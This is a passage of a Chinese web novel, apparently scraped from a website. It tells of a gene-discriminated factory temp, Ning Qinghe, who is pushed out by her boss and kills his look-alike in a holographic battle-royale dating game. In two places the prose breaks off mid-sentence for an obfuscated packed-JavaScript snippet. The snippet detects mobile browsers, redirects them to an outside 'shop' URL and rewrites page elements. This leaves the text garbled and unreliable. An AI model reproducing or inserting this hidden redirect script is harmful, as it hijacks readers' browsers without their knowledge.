《这不是乙女游戏吗》 1. 游戏加载 周六晚上九点半。 宁清禾修完了最后一台安保机器人的机械臂,拿起肩膀上的毛巾擦了一下额头上的汗,将螺丝刀放回工具箱,拖着疲累的身体正要下班。 车间旁边办公室的门突然打开了,领导王志勇捧着保温杯走了出来,打着哈欠,拿着一沓资料往她面前一拍:“小宁啊,把这个项目书写了,下班之前给我一个版本,急着要,快点啊。” 宁清禾低着头看着水泥地上的机油斑点,攥紧了单肩包的带子,心里很是不情愿,想着这都几点了。 这个月才过了一半,她已经连续上了两个礼拜班了,早八晚十,没有一天不是胳膊酸疼。 偏偏她还是临时工合同,随时可以被解雇,没得选。 纵使心里一万个不情愿,她也只能答应了,看了一眼近在咫尺的厂房门口,回到了逼仄的工位上开始写起来。 说是工位,其实就是一个堆满杂物的角落,用来放一些废弃零件的,宁清禾把它收拾了一下,自己掏钱买了个折叠椅,充做了自己的小地盘。 她刚刚开始动笔,王志勇站在旁边接电话,笑得眼睛眯起来,唾沫横飞:“丁总,您放心,我们这一批货那是经过了严格的工序,绝不会出一丝差错。我这没日没夜的在这儿盯着呢,吃住都在,保准没问题。” “您这说的什么话,公司就是我家,为公司奉献是应该的,莱特公司的项目书我也写好了,今晚就发您过目。” 王志勇一边说一边用视线余光去看宁清禾,用手指轻轻敲了一下,示意她写快一点。 宁清禾在心里恨恨骂了一声,加快了书写的速度,翻页翻的飞快,妄想这翻页声通过电话传入对面的人耳朵里,揭穿王志勇压根没在工作的事实。 但妄想终归只是妄想,她埋头苦干的时候,王志勇靠着前面的桌子笑弯了腰,已经眯着眼睛开始习惯性推辞起来,这意味着他估计又有一大笔奖金要到账了。 宁清禾气愤地加快速度,争分夺秒,极力在王志勇电话挂断之前写完又臭又长的项目书,不然等待她的恐怕又是一轮漫长的谈话了。 她最讨厌的就是谈话了,虚伪的话术,居高临下的审视,还有作践一般的示意表态,那些个领导面试官揉搓了讥讽了还不够,还要她把自己剖开,掏出一颗心脏宣誓效忠,就为取悦他们的高高在上。 眼看着王志勇已经开始说起效忠公司鞠躬尽瘁,宁清禾心头一跳,也顾不上字迹清晰不清晰,加快速度,终于在王志勇的恭维词说完之前放下了币,双手捧着项目书到他面前,轻轻一放,指了指,赌他不敢此刻挂电话分心,转身向外走去。 因为她还在试用期,所以没有走得太快,生怕落下话柄,但目光却忍不住看了看表,又看向公交站。 此刻已经是十点二十五了,末班公交车是十点半,即将开走。 如果她出了器械厂一路狂奔,或许能在77公交车司机踩下油门之前大喊一声“等一等!还有人呢!” 77路司机是个60岁的老头,会不会大发善心完全看他心情,或者说取决于他今天的股票是红还是绿。 希望是红色吧,宁清禾在心中祈祷着,已经准备开始700米冲刺。 一只脚已经迈过门口,宁清禾半个身子已经披上了月色。 背后忽然传来一句:“小宁啊,你等等,我还有事找你呢。” 轻轻的一句话,却像重石一般砸下来。 宁清禾无不悲哀地想着,股市好不好,77路司机心情怎么样,一切都跟她没有关系了。 她背对着满是机油味的厂房,僵硬了一瞬,没有立刻转过身,这便是她对现实的所以不满和抵抗了。 但王志勇下一句话紧接着就砸了过来。 “你是不是快要转正了?” 宁清禾垂着眼,麻木地转过身,跟着王志勇往他的办公室里去,站在了他宽大的机械书桌面前,低着头,看着脚下的电子纤维屏幕。 王志勇的整个办公室都是用最时兴的纤维铺设的,时时刻刻播放着公司的宣传片。 此刻,宁清禾脚底下这块屏幕上正好在放映着新安器械厂的口号:让机械服务于大众,让温度流传在企业之中。 红艳艳的字在她的视野里流淌着,伴随着王志勇的沉吟。 “小宁啊,和你一批来的,现在呢,就剩下你了,我其实是对你抱有很大的期望的。 虽然你的基因报告不怎么好,又是情感淡漠又是人格解离风险,危险因素很高。严格来说是进不了我们单位的,但是我很欣赏你,才把你招进来。 如今这个经济形势你也看见了,AI和智械是大势所趋,更何况我们本身是做这个的,也不缺人,都是从优从良选择,宁缺毋滥。” 宁清禾低着头一声不吭,目光开始放空,绞着手指,却还忍不住去想,一个月两千八星币这么多活,AI和智械怎么可能会干,别说部署成本,怕是充电和维护成本都不够。 倘若不是一出生就被判定劣等人种,四处求职碰壁,她也不会在这里坚持,早就跟同期的人一样辞职跳槽了。 外面的服务员都一个月三千呢。可惜服务员也要看人格检测报告和基因风险报告,也不要她。 宁清禾脑子里在小声地辩驳,但嘴巴却一直没吭声,把沉默当做了一种对抗的方式。 但很快,王志勇连她这种软绵绵的沉默也不给她了。 他敲了敲桌子,声音变得严厉起来,“你看,你又不说话了。你这样工作中怎么跟同事交流,怎么跟客户交流。你硬件再好,软件一塌糊涂,我也很难办的。” 宁清禾抿了抿干涩的嘴唇,忍不住在心中回答:哪有什么同事呢,AI和智械取代了百分之八十的人力,还都是轻松的活计,剩下的百分之二十全部都是苦力,全部都是临时工来干,哪怕是那些拼命挤进来的正职同事,平时也都是对着电脑上的AI流程输入指令优化,最多也就在工作软件上提个流程申请。 她来了半年了,从未见过其他同事之间说话交流,有时候她甚至觉得那些同事就是来当机械的下属,坐在工位上戴上脑机,接入工作系统,就开始为AI和智械找bug,做杂活。 但是这些话她自然是不敢明面上说的,毕竟这个月工资还没有发,她只能绞着手,不情不愿“嗯”了一声,违背着自己的良心,说了句“我会注意的。” 王志勇皱着眉头,显然还是不满意,身子往后一仰,拿起保温杯润了润喉,“你们现在年轻人,一个个的,都死气沉沉的,吃不了苦。像我,基本上就住在公司了,从来没有什么下班的说法,我有说过什么吗,从来没有,我都不到处说的,公司领导看在眼里,所以才重用我。你们啊,就是太娇生惯养,意气用事,需要多锻炼,公司不是做慈善,培养你们,都是要钱的呀,都是成本呀。” 宁清禾的脖子已经隐隐有些酸疼了,但她还是一动不动,面上一声不吭,心里秒接话。 这个办公室六七十平,还是花园景观屋,水电网免费,装修家具全都是最好的,走公账,打游戏甚至约会都上报算是加班走三倍加班费,相亲费用都能走客户应酬报销。 换做是她,她自然也愿意二十四小时在公司,大门不出二门不迈。 但她既没有七万星币的工资,也没有堪比小别墅的办公室。 她只是一个拿着两千八百星币,没有任何补贴,加班费也没有的临时工。 她脚下踩着的电子纤维屏幕可能报价都要五万八一平,但是此刻,她因为还没有这个月到卡上的两千八星币,只能忍着脖子的酸疼,继续听着王志勇的谈话,听着他说起他“艰辛”的过去,从职员时代横跳到大学学生会的竞选,从相亲的择偶标准到下属的聘用标准,天南海北,漫无边际。 直到时针指向十二点的时候,他发现保温杯里的水没有了,意犹未尽地砸吧了两下嘴,手指又在桌面上敲了敲,像是惊堂木一样,下了论断。 “你呢,好好回去想一想,我呢,也好好考虑一下,这段时间也辛苦了,就当给你放个假,你暂时就不用再过来了。” 宁清禾动了动嘴唇,想问工资还能正常到账吗,但还是低低应了一声“好。” 新安器械厂在老城区的偏远市郊,没有通地铁,如今公交车早就停运了,宁清禾只能走回去,披着月色,看着手机,打打删删,问工资的话一直停留在聊天框里,没有发送。 这种情况她并不是第一次遇到了,因为出生时候基因就被判定了劣等,她的工作总是不长久,工资也不高,遇到什么样的人都有,逐渐的,她也摸索出了应对方法。 面对耍横的要示弱,面对虚伪的要少说话态度强硬,喜欢夸夸而谈的就捂着耳朵当做没听见。 王志勇三者都有,对下属蛮横,又虚伪喜欢讲大道理,喜欢自夸。 根据她的经验,最好不要撕破脸。 反正她每天上班都留下了记录,大不了在星网上曝光。就连他做的那些项目也是她一手经办,她还能拿这个威胁他。 留有底牌的情况下,她并不想撕破脸,最好还是和平解决。 宁清禾慢慢悠悠走着,在脑海中想着发工资那天各种的可能情况,见到天上忽然放起烟花来。 老城区密密麻麻满是破旧楼房,天空被割裂成无数碎片,她跑到视野开拓的地方,也只能看清【生日快乐】几个字盛放在河对面的街区天空上。 她趴在栏杆上,晃悠着手机,看着一江之隔的新城区,那里高楼林立,霓虹不息,空中栈桥像是神话中仙女的披帛一样围在高楼之间,无人机起起落落,勾画着这座城市美好的未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407395|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来光景,4D电子巨屏上放着AI恋人的宣传片。 而她身后的老城区早已陷入一片黑暗,楼房低矮,道路上满是泥水,只有老旧小摩托的轰鸣,像是沧桑的老人发出的撕心裂肺的咳嗽声。 城市的钟楼已经指向两点,宁清禾却始终没有回家,趴在栏杆上,贪婪地看着对面街区的模样,看着那些基因优良的人所过的生活。 那是她幻想中自己的未来,做AI的主宰,做城市的主宰,做未来的主宰。 但十八岁那天,她所有的幻想都被基因检测悉数打碎了。 凌晨三点的时候,宁清禾站在江边,终于看清了今天这场生日的主角。 那款闺蜜给她安利过无数次的游戏,上线就爆火的开放性全息乙女游戏,上线不过半年,便已经在城区里买下了一座高楼,一个神话,一个传说。 宁清禾纠结过许多次,还是舍不得买,因为太贵了,足足要她一个月生活费。 此刻,它戴着生日的冠冕,占据了这座城市所有的巨屏,朝着宁清禾,打出了它的宣传语:【来这里寻觅你的理想生活,爱与心动,幸福和自我。在这里,你永远是主宰的女王。】 【想要一场完美无瑕的梦境吗,心动倒计时可以给你,你就是梦境的主人,所有一切,任你编织。】 她看了许久,直到天明,直到城市苏醒,直到人群逐渐从楼房里走出。 她猛地奔跑起来,逆着人流,在游戏店老板的睡眼惺忪中快速抓到了一张卡带,在纠结涌上心头之前就付了账,也不管游戏店老板隐约的呼声,快速跑回家,插进电脑里,戴上脑机,闭眼陷入沉眠之中。 一片混沌黑暗中,几行白字骤然浮现。 【你是否厌倦了平淡的生活?】 【不想接受一眼望得到尽头的未来?】 【欢迎来到无序之地,这里是绝对的公平,实力至上。】 它的字幕实在太慢了,宁清禾直接一键跳过。 背景介绍?跳过。 片头曲?跳过。 新手教程?跳过。 等等,新手教程似乎不可以跳过,但是宁清禾找不到返回键,只能在人物页面摸索起来。 人物页面上有许多选择,甚至宽泛到星系和种族。 宁清禾心中一震,脑海中不禁浮现出程玲的那句话“闺蜜!这个游戏自由度真的空前绝后!世上最强!信我!” 她的目光从狼人,半人马,堕天使这些种族上一一划过,不禁想:这也太自由了吧。 看了一圈,她还在选择了蓝星—人类,现实脸孔数据传输。 捏脸完成,正式进入游戏。 一阵晕眩感之后,宁清禾睁开眼睛,发现自己在一片废土之上,四周都是塑料燃烧的臭味,除了废墟之外便是焦黑土地。 五十米外有一群人站在一块儿,大概五六个,其中一个跪着,另外的人围着他,还有一个居高临下站着,点着一根烟,吐了个眼圈,故意压着声音开口:“你知道你做错什么了吗?你对得起我的一片苦心吗?” 熟悉的声音和语调,宁清禾走近两步发现站在石头上的人穿着花衬衫,除了脸上有道疤,身形清瘦些之外,五官也透露着她熟悉的那股傲慢作呕之感。 她情不自禁摸了摸握着的手枪。 那人还在喋喋不休,抖着腿,把烟灰弹在跪着的人脸上,眯着眼睛说个不停:“我顶着风险把你招进来,培养你,护着你,结果你就这么回报我,你个狼心狗肺的东西,我养条狗都比你忠心。” 宁清禾感觉自己仿佛回到了七个小时前的办公室,站在王志勇的面前。 那时她为了工资不敢回呛,走了几个小时的路回家也不敢撕破脸。 但现在是在一个游戏里,一个她花钱做主宰的游戏里。 没有丝毫犹豫,宁清禾举起手枪,对准说话的人的脑袋,扣下板机。 砰的一声,一朵血花飞溅,那个酷似王志勇的人睁着眼睛倒下,再也说不出话来。 宁清禾的视野中跳出一个结算面板。 【姓名:清禾 等级:2级 达成成就:本服最快首杀。您真是干脆果决! 目前排行榜: 击杀排行榜:359906 最快首杀排行榜:1 命中率排行榜:样本太小不计入数据 称号:狠辣果决的杀手 队友:暂无】 宁清禾走过去,看着死者周围掉落一地的可捡拾物品,慢吞吞捡了起来,捡到自己包中,环顾四周,看了看另外四个绑架犯和面前被绑着的俊美人质,把看起来最不值钱的东西递给面前的漂亮人质,凑到他面前,歪了歪头,想起程玲告诉她的攻略办法,直接开口:“你愿意和我深入交流吗?” 2. LEVEL 2 “什么深入交流,你在说什么啊!”人质还跪在地上,被五花大绑着,白色面皮一下子涨得通红,“大佬,我现在还在被绑架,这架还没有打完,旁边还有四个呢。” 宁清禾看着他泛红的脸,颇为惊讶。 居然没有拒绝吗? 脱离战斗状态就可以了吗? 难道这就是闺蜜说的开局就送角色吗。 宁清禾抬头看向这个新手指引NPC身边的四个绑匪,没有什么表情,也没有任何的话语,只有子弹上膛的声音。 不同于刚刚那个被她所击杀角色的富裕豪横,这四个人手上没枪,穿得也很破烂。 其中两个潦草地在腰间别了把匕首,还有一个背了一个不知长刀还是棍棒的东西,用黑布裹着,勒在胸前。剩下一个人蒙着面,粗糙看去什么武器也没有。 她一开始并没把他们当做新手战斗对象来着,还以为只是无关紧要的NPC。 毕竟她刚刚一枪崩了他们小头头的时候他们也没有任何的悲痛和意外,在她捡装备的时候也没有下手,只是抱着手臂观望。 还挺老实的。 但既然是主线任务,她就没什么好犹豫的了。 她的新手手枪里只有三颗子弹,刚刚用掉了一颗,现在还剩两颗。 面前有四个需要处理掉的人。 宁清禾看向四个绑匪中那个没有任何武器的人。 自从人质NPC明示需要杀死他们之后,另外三个都已经偷偷将武器握在了手里,防备地看着她。 从他们三人的动作,宁清禾判断他们是个半吊子,解布速度不够快,握刀姿势不够有经验。 唯独这个蒙着面的人一动不动,眼睛里反而露出一丝好奇和笑意来,仿佛在期待她的动作会给出怎样的惊喜。 直到宁清禾把枪对准了他的头,将手指放在扳机上,他也保持着那副自负的姿态站在原地一动不动,看起来略微有些欠揍,语气也满是玩味:“没想到Q是个女孩子。” 宁清禾不禁皱眉,这是触发剧情了?她怎么听不懂。 她不由得按照一般游戏的进程开口问道:“Q是谁?” 蒙面的人也很耐心,像个NPC一样开口为她解答,但也像所有游戏NPC一样,完全不在乎她问的什么,只自顾自地开口说话:“我跟Q做了一笔交易,三十万买你刚刚杀掉的那个人性命。现在既然是你杀掉了他,我可以跟你交易。” “你现在可以把你的交易页面打开,随便选择一个东西和我交易,我现在就把三十万的云贝给你。” 穿着系统初始服装的宁清禾看了一眼自己空空如也的账户,心猛地一跳,突然有些按不下去扳机。 无论玩什么游戏,经营,养成,攻略,战斗,宁清禾最后都会将它变成致富游戏。 光是看着账户上长长的一串数字,她就会生出无比幸福的满足感来。 她突然觉得推进主线,营救这个人质也没有这么重要了,攻略这个人质也没有这么重要了。 毕竟NPC随时可以攻略,但是在新手期暴富的机会可能只有一次。大不了她收了钱再把他杀掉,反正又不影响,主线应该只需要打败BOSS,又没说不能收BOSS的钱。 正跪在地上解绳子的人质目瞪口呆,不可置信地看了一眼突然豪横的蒙面老哥,又看了看明显动摇的宁清禾,绳子也不解了,扭着身子用膝盖爬到宁清禾身边,试图用呼唤将她从金钱的诱惑中解救出来:“你不要动摇啊!他肯定骗你的!他这么有钱为什么给王立勋这种走狗当小弟!你看看他穿的那样!” “他肯定在拖延时间,你不要犹豫,犹豫就是败北!杀了他,赶紧的!” 宁清禾突然觉得这个粉毛人质NPC有些吵了,她从刚刚捡到的装备里选了一个甩棍,然后把围过来的另外三个人打倒在地,气都没喘,将甩棍丢在人质面前,很有些不客气地开口:“反派都会用金钱来诱惑我,我救了你你都没什么表示,我忍你们这些人很久了。” “催什么催,我没有救你的命还要替你跑腿的义务。你有本事就自己救自己,我来救你不欠你什么的。你喊什么喊,让我赚钱怎么了,碍着你了吗。他是不是真的有钱我自己会分辨,不要你管,你要分清楚,我是你的救命恩人,不是你的下属。”宁清禾板着一张脸,心里诸多游戏回忆涌上心头。 她曾经也沉迷游戏,在梦想破碎之后试图在游戏里找到慰藉,尤其是那种号称开放世界的,几乎是出一个就玩一个。 但她很快发现,这些游戏的本质还是一种赛博打工,她要给各种NPC做任务才能拿到奖励,选择也离不开剧情的设定。 无论她的心情怎么样,想法如何,最后都只能按下既定的台词选项,那种憋闷的感觉,就像无论在心里骂了老板多少回,还是只能在工作群里回答一句【收到】。 无论她说什么,NPC只会回答固定的话语,无论她喜不喜欢任务NPC,都得接下任务,还得在规定时间里完成,否则就是失败。 哪怕这些角色后面会成为主角的好友,甚至是暧昧对象,但是这种没礼貌的大呼小叫和理所当然的要求,真的会让宁清禾发自内心的厌恶。 老板没素质她还能以工资为理由忍了,但是她花钱买游戏还要被大呼小叫当做牛马使唤,她觉得自己完全是个冤种。 游戏界面似乎进入卡顿,粉色头发的人质NPC低头看着宁清禾的甩棍一言不发,宁清禾身边的蒙面人看着她气鼓鼓的脸也一动不动。 大概主线失败了,剧情要回到上一个节点了。 她就知道,压根不会有从天而降三十万的可能性,游戏怎么可能让她暴富。 她果然只有穷苦的命,无论是现实还是游戏里,都要受人指挥,还不会有钱。 游戏都买了,玩下去吧,钱总不能白花。 想着购买游戏的巨款,宁清禾疯狂地摁下自己的火气,正要走过去捡起甩棍重新进行剧情对话,旁边的黑衣人拉住了她的手腕:“既然你跟他相处的不愉快,不如来我的团队。再加二十万作为我给你的欢迎礼,还有一把MP7狙击枪,防弹盔和防弹衣随你挑。” 宁清禾脑子懵了一下。 什么意思?这个不是BOSS吗?还能随便更换游戏阵营的吗? 宁清禾脑子里不由得又浮现闺蜜程玲的那句话【这游戏自由度超高!你想做什么都可以!超级懂玩家需求的!真的!它跟别的游戏不一样!】 她不得不承认,这是她遇到的BOSS里最懂她的一个。 暴富的梦想近在眼前,宁清禾的眼睛却一点点冷静下来,她看着这个没有ID没有信息甚至地图上没有红点显示的人,眼神像是当初决定先杀死他一样的冷。 长久地陷在一种贫困和压榨里,天降横财的一瞬间,在欣喜和不可置信之后,她本能地产生一种怀疑,一种不安。 毕竟这么多年,哪怕是游戏里,也没有无偿的赠予,无来由的梦想成真。 在幸运和更大的骗局之间,她总是更愿意相信后者。 “这么高的价格,你是要我做什么来换?”她已经自己掐死了自己的美梦萌芽。 蒙面人从面巾后发出一声笑来,看向她的目光多了一分由衷的欣赏,“你枪法不错,我团队里缺个专职杀手。” 宁清禾一颗心轻轻地落下,像是一块石子缓慢地浸入水里,没有什么声音,但染了一片湿冷。 她不由得在心中想:果然如此。 哪有天上掉馅饼的好事,其实还是压榨她的价值。 “替你杀人,随叫随到,不要问原因,也不要多余的善心,不要多管闲事,做一把听话的枪就行了,是吗?”宁清禾轻声开口。 蒙面的人点了点头,眼睛里正浮起一片赞赏,却听到宁清禾开口说:“我拒绝,你滚吧。要是我手枪多几颗子弹,我一定把你也杀了。” 她点开账户上的交易页面,挑了刚刚从地上捡起来的一块臭石头给蒙面人寄过去,“付钱,三十万,快点,付完你滚远点,不管怎么样,你想杀的人是我干掉的,不能说话不算数。” 蒙面人愣了一下,那双灰色眼眸里第一次露出愕然的神色,但还是付了钱。 宁清禾看着自己游戏账户上的数字从0涨到30万之后毫不犹豫地转身离开,瞧见粉色头发的人质NPC还跪在地上,膝盖磨破了,无精打采耷拉着。 瞧见她走近了,人质NPC局促地抬眼看了她一眼,又迅速地低下头,抓住了身上脏污的衣摆,试图遮盖住他自己因为跪在碎石上而显得丑陋的伤口。 宁清禾脚步顿了一下,莫名想起自己喂过的一只流浪狗,习惯性对人狂吠,她投喂了几次依然对她狂叫,后面她搬走了,那只狗又追着她,在大雨天穿过了几条街,趴在她的门口朝她小声地叫,因为太过虚弱声音都变成呜咽。 但她还是没收养它,因为房东不允许,因为办理狗证很麻烦,狗粮比她喝的营养液还贵,而且它已经很老了,全身都是病,活不了多久了。 总而言之就是没钱,在连自己都养活不了的时候,她压根没有办法再去救另一个生命。 但现在她在游戏里有三十万了。 虽然宁清禾不知道这个游戏物价怎么样,但是三十万在她眼中就是一笔巨款。 她停下脚步,蹲在人质NPC面前,用枪支挑起了他的下巴:“你现在跟我道歉,我就带你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407396|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起走。” 人质NPC的眼睫颤抖着,似乎想抬眼看着她话中真假,又不怕惹她再生气,动也不动,由着宁清禾的枪口抵着他的下巴,开口认真地说了句“对不起。” 宁清禾把地上那三个绑匪的装备也捡了,拿一把刀把人质NPC的绳子割开,抓着他的衣领把他提了起来,“你自己走,我不可能背你。” 蒙面人见她真要走,似乎从震惊中缓过神来,“你为什么拒绝?” 宁清禾并没有回头看他,也没有因为身边人质NPC的受伤而停下脚步。 她做了一件自己一直以来都很想做的事情,背对着那个财大气粗的蒙面人,竖了一个中指,“因为这世上有很多东西是钱买不到的,比如我的人格!” 直到宁清禾的背影消失在视线里,蒙面人还站在原地,脑子里回荡着宁清禾的话,感觉荒诞可笑之中又带着些别样的感觉。 在追求极致效率和理性的高度智械化时代里,在这个满是鲜血和杀戮的大逃杀游戏中,居然还有这样天真到有些可笑的想法,简直是废土和机械丛林中的儿童画一般。 他记住了这个名字,提前为这个名为【清禾】的新人的逝去而伤感了一会儿。 毕竟稚嫩的花朵无法在黑暗丛林中存活,这是公认的法则。 没有团队的庇护,她再厉害也很难成长到可以独当一面。 宁清禾并不知道仅有一面之缘的陌生人已经在提前为她哀悼,也不知道自己现实中的前上司王志勇因为她游戏里那随意的一枪而激动地站起来,脸色涨成猪肝色,在办公室里对着死亡页面破口大骂许久,胖手重重砸了一下电脑屏幕,又心疼许久,最后咬着牙在游戏论坛上发布了她的悬赏贴。 【悬赏一万星币,可兑换云贝。目标ID:清禾,蓝星服务器,女号,新手。】 王志勇发帖之后又觉得一万太贵,不值得,但评论区已经活跃起来,他这个时候不能反悔。 琢磨再三,王志勇决定让评论区竞价,价低者得。 毕竟《心跳倒计时》本身就是一个大逃杀游戏,猎杀越多等级越高,所以很多猎杀者完全不在乎报酬,甚至有人愿意不要钱接单。 他捧着保温杯,美滋滋点开评论区,已经在想有没有有人已经在下面说无偿接单,这样他又省了一万星币。 但是论坛的回复让他大跌眼镜,几乎拿不稳保温杯。 【清禾?这个清禾好熟悉啊,是Q和圣庭在找的那个清禾吗?】 【我试过了,你游还不能重名,所以只有一个清禾,她甚至是个2级号。】 【2级号??????你是说一个2级号抢了Q的单子,招惹了圣庭和孤刃?!】 【已知Q找清禾是因为清禾抢了他的单子,而Q不接其他任务,只杀人。而这个清禾是一个2级号,也就是说,她只杀过一个人,也就是Q的目标。而楼主发布悬赏杀她,头像后面是灰色的,代表楼主游戏内账户已经死亡。 那么真相只有一个!楼主你就是Q的目标,清禾手上唯一人头!】 【所以楼主是被一个一级号单杀?!不行了,我想笑。能成为Q的目标,好歹也是个百级号吧。清禾一级号的话手上只有那把三发子弹的老年手枪吧,那个手枪压根没有准星,我从来没想过它居然能打中人耶。】 【路过,笑一下。】 【我出三万,楼主能说一下是怎么被一个一级号单杀的吗?】 【我出五万!】 【够了!楼主不要面子的吗?!【红色愤怒JPG】楼主,他们都是坏人,你悄悄和我说,我一定不会告诉别人的!【滑稽斜眼笑JPG】】 王志勇气得把装满水的保温杯往桌面上用力一摔,满心想着删除帖子注销账号不能丢脸,完全没有注意到旁边摇摇晃晃的保温杯正在倒向他的电脑和键盘。 保温杯倒下发出一声闷响的时候,他也没有回头,直到电脑屏幕熄灭,机械书桌上冒出一阵浓烟,他才发现大事不好。 电话此刻也在此刻响起,是大领导的专属铃声,王志勇眼睁睁看着水流入自己的电脑主机,好呀先接了电话:“丁总,您这个点还在工作呢,有什么事情我能为你分忧吗?有事您说,我也在公司呢。” 电话那头传来笑声,但说出的话让王志勇心头一紧:“你之前交的那个项目书不错,现在政府要做AI与人文结合,正好要做一个这方面的项目,你把它再改改,做个汇报。” 王志勇看着黑掉的电脑屏幕和荡着一层水的书桌,嘴上答应地毫不犹豫,但是脑子此刻有些发麻,他疯狂地回想着这个项目书是谁做的。 好像是个临时工。 很听话,姓宁,宁什么来着? 3. LEVEL 2 王志勇皱着眉想了一下,但还是没什么印象,也懒得继续浪费时间去思考。临时工对他来说就是个用一段时间就丢的消耗品,他从不会过多注意。 他只记得对方脾气挺软和,干事也麻利,用起来很是趁手。 于是他推开门,朝外面的厂房喊了一声:“小宁啊,过来一趟,有个急活,你先把手头上的事情放一放。” 外边儿没人答应。 王志勇不由得沉下脸来,面色有些难看,方才对这个临时工的好印象全部推翻,盘算着等这个活干完就让对方走人。 一个临时工,还旷工起来了。 扣工资! “人呢?!”不到一分钟,王志勇再度开口,脸上的肉都绷起来,垂着眼睑,看起来有些吓人,“上班时间,人怎么不在工位上?” 站在机器人面前的维修师们低着头不吭声,像是面对暴风雨而选择把壳紧闭的蚌一样,集体选择沉默。 王志勇气笑了,回办公室打电话直接叫了人事过来,“叫那个临时工现在滚回来,不来的话,以后都别来了!工资也别拿了!我花钱是让她来享福的吗!这个月工资她别想要了。” 人事对这种事情屡见不鲜,也没什么意外的,一口答应,只是走之前问了一句:“你说的临时工是哪个?” 人事扶了扶眼镜,面无波澜地开口:“现在公司里百分之八十的人全是临时工,就今天,刚刚招了三十个临时工进来,麻烦你说一下名字。” 又要说名字。 王志勇不由得烦躁起来,往椅子上一坐,“就那个姓宁的,前段时间修机器人那个。” “哦,那个两千八的维修工。”人事顿时反应过来,把手中的文件合上,朝王志勇笑了笑,“上周六是她试用期的最后一天,你已经把她劝退了。” 王志勇愣了一下,随即挥了挥手,往椅背上一靠:“把她再招回来不就行了,一样的工资,重新开始试用期。有个活需要她接。” 他指了指面前的电脑和书桌,“让她再过来把电脑和这个桌子修了,我急着用。” 王志勇的手往额头上一拍,不由得抱怨起来:“这一天天的,事情这么多,忙死我了。” “你们人事部也是,到六个月又怎么样,不能延长试用期吗,非要搞得那么死板,耽误我事情。” 穿着蓝色衬衫的人事再度扶了扶鼻梁上的金丝眼镜,“这是法务部的要求,根据《劣势人群就业保护法》,企业对不得因为基因检测结果对携带负面基因的人群怀有歧视现象,对低劣基因携带者的试用期不能超过六个月,否则就被认定存在基因歧视行为,加以处罚,失去评优资格。” 王志勇懒得听下去,道了一声:“这些人就是麻烦。” 人事并不说话,微笑着透过AI眼镜看向坐在经理办公室的王志勇,在蓝色的资料介绍中,也夹带着一个鲜红的标签:情绪化,低能。 当年要不是因为这个政策,王志勇压根没法留下来,更别说做了老城区分厂的经理。 这整个分厂都是因为这个政策而存在的,作为新安器械评优的附加条件而已,说是一个关怀中心也不为过。 没想到这么快,他就忘记了自己的过去,忘记了他原本的身份。 人事小姐微笑着看着面前荒诞的现实,在心中不由得在心里也跟着讥讽一声:低劣基因就是低劣基因,哪怕坐在真皮座椅上,也改变不了低劣的本性。 伟大的基因检测技术真是划时代的发明。 人事在系统中输入了宁清禾的名字,发现宁清禾没有留下什么联系方式,地址和号码那里全部为空白。 “出于风险管控的需要,公司并没有给危险基因携带人群建档,以免他们给公司带来负面影响。”人事很遗憾地通知王志勇,“毕竟之前从没有人觉得公司会有需要联络这些低劣基因携带者的一天。目前来说,只能等她自愿回来。” “你手上的事情非她不可吗?”人事抬眼看了一眼王志勇。 王志勇讪笑一声,想也不想开口否认:“当然不可能,一个可有可无的临时工,有什么重要的。不过我现在需要一个持有工程师执照的人给我干活,最好念过书,知道怎么写项目报告书,跟政府关系打过交道。” 人事了然:“所以你需要一名智械工程师,一名文书,一名政府关系研究员。” 王志勇沉默了一下,没有回答。 人事继续往下说,“现在智械工程师普遍是三万星币,文书五千,政府关系研究员有价无市,对手航星挖了一名研究员的工资是七万一个月。” 人事询问他:“需要我发布招聘岗位吗?” “不用。”王志勇十分僵硬地开口,“你忙去吧,小事而已,哪用这么大阵仗。” 等人事出门之后,王志勇推开办公室的门,目光扫过今天新来的这些临时工,问他们“你们谁会修智械,谁会写项目书?” 临时工们左顾右盼,露出茫然的神色。 要是会这个,他们至于当月薪三千临时工吗? 王志勇背着手,顿时看向这些新人的目光很是不满。 眼看着工作机会要消失,两个刚刚入职的临时工咬牙举起了手。 “我修过机器。” “我认识字,写过文章。” 王志勇脸色这才好看了些,也不细问,当下吩咐那个修机器的去修书桌,写文章的去改项目书,然后背着手出门遛弯去了,临走之前还不忘给他们定下期限。 “下午之前就给我弄好,不然滚蛋。” 两个临时工应了,目送王志勇出门之后立马掏出手机,对着他的书桌和项目书开始拍照,问AI怎么维修书桌,怎么修改项目书。 旁边的人瞪大双眼,“你们俩不是说你们会的吗?现学啊?” “我会个屁!”蹲在机械书桌面前的人忍不住爆粗口,“我就修过我太爷爷的自行车来着,机械课程贵的要死,十万星币一年,我要是有学这个的钱我来打三千星币的工?” “那你悠着点,这个桌子好贵的,我在新街区的商店上看到过,七十万星币。” “草,比老子的命都贵。”拿着螺丝刀的青年不由得双手颤抖,但面上还强撑着,“能修就修,大不了老子就跑,反正他们也抓不到。” 话音刚落,随着一颗螺丝钉的落地声响,七十万的银白机械书桌四分五裂,倒在地上变成了一片废墟。 穿着蓝色临时工制服的青年还握着螺丝钉,和站在办公室里的同伴四目相对,咽了咽口水,一刻也不曾犹豫,走出了办公室,脱下制服,头也不回离开了新安器械厂,向外奔逃。 * 宁清禾并不知道新安器械厂的这一桩插曲,也不知道自己的名字已经在游戏论坛里盖起高楼。 